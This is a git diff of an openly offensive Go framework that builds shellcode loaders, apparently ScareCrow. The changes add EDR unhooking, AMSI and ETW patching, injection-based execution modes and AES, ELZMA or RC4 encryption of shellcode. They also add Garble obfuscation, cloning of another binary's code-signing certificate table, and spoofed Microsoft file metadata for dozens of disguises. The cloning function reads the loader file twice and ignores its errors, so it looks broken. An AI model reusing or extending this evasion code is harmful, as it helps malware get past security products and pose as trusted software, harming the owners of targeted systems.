[*] VirtualAlloc - Allocates shellcode into the process using custom syscalls in the current running process`)
|
||||
evasion := flag.String("Evasion", "Disk", `Sets the type of EDR unhooking technique:
|
||||
[*] Disk - Retrives a clean version of the DLLs ".text" field from files stored on disk.
|
||||
[*] KnownDLL - Retrives a clean version of the DLLs ".text" field from the KnownDLLs directory in the object namespace.
|
||||
[*] None - The Loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls.`)
|
||||
password := flag.String("password", "", "The password for code signing cert. Required when -valid is used.")
|
||||
AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BuffferScanner.")
|
||||
AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BufferScanner.")
|
||||
ETW := flag.Bool("noetw", false, "Disables the ETW patching that prevents ETW events from being generated.")
|
||||
Sha := flag.Bool("sha256", false, "Provides the SHA256 value of the loaders (This is useful for tracking)")
|
||||
ProcessInjection := flag.String("injection", "", "Enables Process Injection Mode and specify the path to the process to create/inject into (use \\ for the path).")
|
||||
configfile := flag.String("configfile", "", "The path to a json based configuration file to generate custom file attributes. This will not use the default ones.")
|
||||
valid := flag.String("valid", "", "The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.")
|
||||
@@ -69,8 +78,15 @@ func options() *FlagOptions {
|
||||
sleep := flag.Bool("nosleep", false, `Disables the sleep delay before the loader unhooks and executes the shellcode.`)
|
||||
nosign := flag.Bool("nosign", false, `Disables file signing, making -domain/-valid/-password parameters not required.`)
|
||||
path := flag.String("outpath", "", "The path to put the final Payload/Loader once it's compiled.")
|
||||
obfuscate := flag.Bool("obfu", false, `Enables Garbles Literal flag replaces golang libray strings with more complex variants, resolving to the same value at run-time. This creates a larger loader and times longer to compile`)
|
||||
export := flag.String("export", "", "For DLL Loaders Only - Specify an Export function for a loader to have.")
|
||||
encryptionmode := flag.String("encryptionmode", "ELZMA", `Sets the type of encryption to encrypt the shellcode:
|
||||
[*] AES - Enables AES 256 encryption.
|
||||
[*] ELZMA - Enables ELZMA encryption.
|
||||
[*] RC4 - Enables RC4 encryption.`)
|
||||
clone := flag.String("clone", "", "Path to the file containing the certificate you want to clone")
|
||||
flag.Parse()
|
||||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, Sha: *Sha, ProcessInjection: *ProcessInjection, refresher: *refresher, valid: *valid, sandbox: *sandbox, sleep: *sleep, nosign: *nosign, path: *path}
|
||||
return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, evasion: *evasion, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, exectype: *exectype, ProcessInjection: *ProcessInjection, valid: *valid, sandbox: *sandbox, sleep: *sleep, path: *path, nosign: *nosign, obfuscate: *obfuscate, export: *export, encryptionmode: *encryptionmode, clone: *clone}
|
||||
}
|
||||
|
||||
func execute(opt *FlagOptions, name string) string {
|
||||
@@ -79,7 +95,6 @@ func execute(opt *FlagOptions, name string) string {
|
||||
var cmd *exec.Cmd
|
||||
if opt.configfile != "" {
|
||||
oldname := name
|
||||
name = limelighter.FileProperties(name, opt.configfile)
|
||||
cmd = exec.Command("mv", "../"+oldname+"", "../"+name+"")
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
@@ -89,15 +104,29 @@ func execute(opt *FlagOptions, name string) string {
|
||||
name = limelighter.FileProperties(name, opt.configfile)
|
||||
}
|
||||
if opt.LoaderType == "binary" {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags", "-w -s -buildid=", "-o", ""+name+".exe")
|
||||
if opt.obfuscate == true {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-literals", "-seed=random", "build", "-o", ""+name+".exe")
|
||||
} else {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "go", "build", "-trimpath", "-ldflags=-w -s -buildid=", "-o", ""+name+".exe")
|
||||
|
||||
}
|
||||
} else {
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
if opt.obfuscate == true {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "-literals", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
|
||||
} else {
|
||||
cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared")
|
||||
}
|
||||
}
|
||||
if opt.obfuscate == true {
|
||||
fmt.Println("[*] Compiling Payload with the Garble's literal flag... this will take a while")
|
||||
} else {
|
||||
fmt.Println("[*] Compiling Payload")
|
||||
}
|
||||
fmt.Println("[*] Compiling Payload")
|
||||
var out bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
cmd.Stdout = &out
|
||||
@@ -117,8 +146,8 @@ func execute(opt *FlagOptions, name string) string {
|
||||
if opt.nosign == false {
|
||||
limelighter.Signer(opt.domain, opt.password, opt.valid, compiledname)
|
||||
}
|
||||
if opt.Sha == true {
|
||||
Utils.Sha256(compiledname)
|
||||
if opt.clone != "" {
|
||||
limelighter.Cloner(compiledname, opt.clone)
|
||||
}
|
||||
return name
|
||||
}
|
||||
@@ -146,6 +175,18 @@ func main() {
|
||||
log.Fatal("Error: Please provide the url the loader will be hosted on in order to generate a delivery command")
|
||||
}
|
||||
|
||||
if opt.exectype != "RtlCopy" && opt.exectype != "NtQueueApcThreadEx" && opt.exectype != "ProcessInjection" && opt.exectype != "VirtualAlloc" {
|
||||
log.Fatal("Error: Invalid execution type, please select one of the allowed types")
|
||||
}
|
||||
|
||||
if opt.evasion != "Disk" && opt.evasion != "KnownDLL" && opt.evasion != "None" {
|
||||
log.Fatal("Error: Invalid evasion method, please select one of the allowed")
|
||||
}
|
||||
|
||||
if opt.encryptionmode != "AES" && opt.encryptionmode != "ELZMA" && opt.encryptionmode != "RC4" {
|
||||
log.Fatal("Error: Invalid encrpytion type, please select one of the allowed encrpytion types")
|
||||
}
|
||||
|
||||
if opt.LoaderType != "dll" && opt.LoaderType != "binary" && opt.LoaderType != "control" && opt.LoaderType != "excel" && opt.LoaderType != "msiexec" && opt.LoaderType != "wscript" {
|
||||
log.Fatal("Error: Invalid loader, please select one of the allowed loader types")
|
||||
}
|
||||
@@ -197,35 +238,15 @@ func main() {
|
||||
if opt.ProcessInjection != "" && opt.refresher == true {
|
||||
log.Fatal("Error: Can not use the unmodified option with the process injection loaders")
|
||||
}
|
||||
if opt.LoaderType != "dll" && opt.export != "" {
|
||||
log.Fatal("Error: Export option can only be used with DLL loaders ")
|
||||
}
|
||||
|
||||
Utils.CheckGarble()
|
||||
var rawbyte []byte
|
||||
src, _ := ioutil.ReadFile(opt.inputFile)
|
||||
dst := make([]byte, hex.EncodedLen(len(src)))
|
||||
hex.Encode(dst, src)
|
||||
r := base64.StdEncoding.EncodeToString(dst)
|
||||
rawbyte = []byte(r)
|
||||
key := Cryptor.RandomBuffer(32)
|
||||
iv := Cryptor.RandomBuffer(16)
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
paddedInput, err := Cryptor.Pkcs7Pad([]byte(rawbyte), aes.BlockSize)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("[*] Encrypting Shellcode Using AES Encryption")
|
||||
cipherText := make([]byte, len(paddedInput))
|
||||
ciphermode := cipher.NewCBCEncrypter(block, iv)
|
||||
ciphermode.CryptBlocks(cipherText, paddedInput)
|
||||
b64ciphertext := base64.StdEncoding.EncodeToString(cipherText)
|
||||
b64key := base64.StdEncoding.EncodeToString(key)
|
||||
b64iv := base64.StdEncoding.EncodeToString(iv)
|
||||
b64ciphertext, b64key, b64iv := Cryptor.EncryptShellcode(opt.inputFile, opt.encryptionmode)
|
||||
fmt.Println("[+] Shellcode Encrypted")
|
||||
name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.refresher, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI)
|
||||
name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI, opt.export, opt.encryptionmode, opt.exectype, opt.evasion)
|
||||
name = execute(opt, name)
|
||||
Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.Sha, opt.path)
|
||||
Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.path)
|
||||
|
||||
}
|
||||
|
||||
+473
-927
File diff suppressed because it is too large
Load Diff
+82
-6
File diff suppressed because one or more lines are too long
@@ -1,15 +1,17 @@
|
||||
module ScareCrow
|
||||
|
||||
go 1.17
|
||||
go 1.19
|
||||
|
||||
require (
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/josephspurrier/goversioninfo v1.4.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/akavel/rsrc v0.10.2 // indirect
|
||||
github.com/mattn/go-colorable v0.1.12 // indirect
|
||||
github.com/mattn/go-colorable v0.1.9 // indirect
|
||||
github.com/mattn/go-isatty v0.0.14 // indirect
|
||||
golang.org/x/sys v0.0.0-20220412015802-83041a38b14a // indirect
|
||||
github.com/ulikunitz/xz v0.5.11 // indirect
|
||||
golang.org/x/sys v0.3.0 // indirect
|
||||
)
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
|
||||
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/akavel/rsrc v0.10.2 h1:Zxm8V5eI1hW4gGaYsJQUhxpjkENuG91ki8B4zCrvEsw=
|
||||
github.com/akavel/rsrc v0.10.2/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
@@ -6,9 +8,8 @@ github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
|
||||
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
|
||||
github.com/josephspurrier/goversioninfo v1.4.0 h1:Puhl12NSHUSALHSuzYwPYQkqa2E1+7SrtAPJorKK0C8=
|
||||
github.com/josephspurrier/goversioninfo v1.4.0/go.mod h1:JWzv5rKQr+MmW+LvM412ToT/IkYDZjaclF2pKDss8IY=
|
||||
github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40=
|
||||
github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
@@ -17,12 +18,14 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c h1:F1jZWGFhYfh0Ci55sIpILtKKK8p3i2/krTr0H1rg74I=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220412015802-83041a38b14a h1:MjZauhfFyuA8jS6CGa4rO215DgesKDIEzMSQ6mm8wW8=
|
||||
golang.org/x/sys v0.0.0-20220412015802-83041a38b14a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
|
||||
golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
+35
-53
@@ -18,6 +18,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/josephspurrier/goversioninfo"
|
||||
)
|
||||
|
||||
@@ -152,6 +153,34 @@ func SignExecutable(password string, pfx string, filein string, fileout string)
|
||||
}
|
||||
}
|
||||
|
||||
func Cloner(CompiledLoader, FiletoClone string) {
|
||||
Clonefile, err := ioutil.ReadFile(CompiledLoader)
|
||||
if err != nil {
|
||||
log.Fatalf("Error: %s", err)
|
||||
}
|
||||
LoaderFile, err := ioutil.ReadFile(CompiledLoader)
|
||||
if err != nil {
|
||||
log.Fatalf("Error: %s", err)
|
||||
}
|
||||
signedFileReader := bytes.NewReader(Clonefile)
|
||||
signedPEFile, err := pe.NewFile(signedFileReader)
|
||||
if err != nil {
|
||||
|
||||
}
|
||||
|
||||
targetFileReader := bytes.NewReader(LoaderFile)
|
||||
targetPEFile, err := pe.NewFile(targetFileReader)
|
||||
if err != nil {
|
||||
|
||||
}
|
||||
|
||||
targetPEFile.CertificateTable = signedPEFile.CertificateTable
|
||||
Data, err := targetPEFile.Bytes()
|
||||
if err != nil {
|
||||
}
|
||||
ioutil.WriteFile(CompiledLoader, Data, 0777)
|
||||
}
|
||||
|
||||
func FileProperties(name string, configFile string) string {
|
||||
fmt.Println("[*] Creating an Embedded Resource File")
|
||||
vi := &goversioninfo.VersionInfo{}
|
||||
@@ -175,7 +204,6 @@ func FileProperties(name string, configFile string) string {
|
||||
name = vi.StringFileInfo.InternalName
|
||||
} else if configFile == "" {
|
||||
if name == "APMon" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "APMon.dll.mui"
|
||||
vi.StringFileInfo.FileDescription = "Adaptive Port Monitor"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -193,7 +221,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "APMon.dll.mui"
|
||||
}
|
||||
if name == "bisr" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "bisrv.dll.mui"
|
||||
vi.StringFileInfo.FileDescription = "Background Tasks Infrastructure Service"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -211,7 +238,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "bisrv.dll.mui"
|
||||
}
|
||||
if name == "btpanui" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "btpanui.dll.mui"
|
||||
vi.StringFileInfo.FileDescription = "Bluetooth PAN User Interface"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800"
|
||||
@@ -229,7 +255,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "btpanui.dll.mui"
|
||||
}
|
||||
if name == "certcli" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "CertCli"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft® Active Directory Certificate Services Client"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -247,7 +272,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "CertCli"
|
||||
}
|
||||
if name == "cmdext" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "CmdExt.DLL"
|
||||
vi.StringFileInfo.FileDescription = "cmd.exe Extension DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1023 (WinBuild.160101.0800)"
|
||||
@@ -265,7 +289,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "CmdExt.DLL"
|
||||
}
|
||||
if name == "httpapi" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "httpapi.dll.mui"
|
||||
vi.StringFileInfo.FileDescription = "HTTP Protocol Stack API"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -283,7 +306,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "httpapi.dll.mui"
|
||||
}
|
||||
if name == "logoncli" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "LOGONCLI.DLL"
|
||||
vi.StringFileInfo.FileDescription = "Net Logon Client DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1237 (WinBuild.160101.0800)"
|
||||
@@ -301,7 +323,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "LOGONCLI.DLL"
|
||||
}
|
||||
if name == "netlogon" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "NetLogon.DLL.MUI"
|
||||
vi.StringFileInfo.FileDescription = "Net Logon Services DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -319,7 +340,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "NetLogon.DLL.MUI"
|
||||
}
|
||||
if name == "tcpmon" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "tcpmon.dll.mui"
|
||||
vi.StringFileInfo.FileDescription = "Standard TCP/IP Port Monitor DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.19041.1 (WinBuild.160101.0800)"
|
||||
@@ -396,7 +416,7 @@ func FileProperties(name string, configFile string) string {
|
||||
}
|
||||
if name == "Outlook" {
|
||||
vi.IconPath = "outlook.ico"
|
||||
vi.StringFileInfo.InternalName = "Outlook"
|
||||
vi.StringFileInfo.InternalName = "Outlook.exe"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft Outlook"
|
||||
vi.StringFileInfo.LegalCopyright = "© Microsoft Corporation. All rights reserved."
|
||||
vi.StringFileInfo.FileVersion = "16.0.14326.20404"
|
||||
@@ -407,7 +427,10 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.FixedFileInfo.FileVersion.Minor = 0
|
||||
vi.FixedFileInfo.FileVersion.Patch = 14326
|
||||
vi.FixedFileInfo.FileVersion.Build = 20404
|
||||
vi.StringFileInfo.InternalName = "Outlook"
|
||||
vi.FixedFileInfo.ProductVersion.Patch = 14326
|
||||
vi.FixedFileInfo.ProductVersion.Major = 16
|
||||
vi.FixedFileInfo.ProductVersion.Minor = 0
|
||||
vi.StringFileInfo.InternalName = "Outlook.exe"
|
||||
}
|
||||
if name == "lync" {
|
||||
vi.IconPath = "lync.ico"
|
||||
@@ -455,7 +478,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "OneDrive.exe"
|
||||
}
|
||||
if name == "apphelp" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Apphelp"
|
||||
vi.StringFileInfo.FileDescription = "Application Compatibility Client Library"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -473,7 +495,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "Apphelp.dll"
|
||||
}
|
||||
if name == "bcryptprimitives" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "bcryptprimitives.dll"
|
||||
vi.StringFileInfo.FileDescription = "Windows Cryptographic Primitives Library"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.836 (WinBuild.160101.0800)"
|
||||
@@ -491,7 +512,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "bcryptprimitives.dll"
|
||||
}
|
||||
if name == "cfgmgr32" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "cfgmgr32.dll"
|
||||
vi.StringFileInfo.FileDescription = "Configuration Manager DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.387 (WinBuild.160101.0800)"
|
||||
@@ -509,7 +529,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "cfgmgr32.dll"
|
||||
}
|
||||
if name == "combase" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "COMBASE.DLL"
|
||||
vi.StringFileInfo.FileDescription = "Microsoft COM for Windows"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -527,7 +546,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "COMBASE.DLL"
|
||||
}
|
||||
if name == "cryptsp" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "cryptsp.dll"
|
||||
vi.StringFileInfo.FileDescription = "Cryptographic Service Provider API"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -545,7 +563,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "cryptsp.dll"
|
||||
}
|
||||
if name == "dnsapi" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "dnsapi"
|
||||
vi.StringFileInfo.FileDescription = "DNS Client API DLL"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -563,7 +580,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "dnsapi"
|
||||
}
|
||||
if name == "dpapi" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "dpapi.dll"
|
||||
vi.StringFileInfo.FileDescription = "Data Protection API"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -581,7 +597,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "dpapi.dll"
|
||||
}
|
||||
if name == "sechost" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "sechost.dll"
|
||||
vi.StringFileInfo.FileDescription = "Host for SCM/SDDL/LSA Lookup APIs"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -599,7 +614,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "sechost.dll"
|
||||
}
|
||||
if name == "schannel" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "schannel.dll"
|
||||
vi.StringFileInfo.FileDescription = "TLS / SSL Security Provider"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -617,7 +631,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "schannel.dll"
|
||||
}
|
||||
if name == "urlmon" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "UrlMon.dll"
|
||||
vi.StringFileInfo.FileDescription = "OLE32 Extensions for Win32"
|
||||
vi.StringFileInfo.FileVersion = "11.00.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -635,7 +648,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "UrlMon.dll"
|
||||
}
|
||||
if name == "win32u" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "Win32u"
|
||||
vi.StringFileInfo.FileDescription = "Win32u"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.900 (WinBuild.160101.0800)"
|
||||
@@ -653,7 +665,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.OriginalFilename = "Win32u"
|
||||
}
|
||||
if name == "appwizard" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
vi.StringFileInfo.InternalName = "appwiz.cpl"
|
||||
vi.StringFileInfo.FileDescription = "Shell Application Manager"
|
||||
vi.StringFileInfo.FileVersion = "10.0.18362.1 (WinBuild.160101.0800)"
|
||||
@@ -671,7 +682,6 @@ func FileProperties(name string, configFile string) string {
|
||||
vi.StringFileInfo.InternalName = "appwiz.cpl"
|
||||
}
|
||||
if name == "bthprop" {
|
||||
vi.StringFileInfo.CompanyName = "Microsoft Corporation"
|
||||
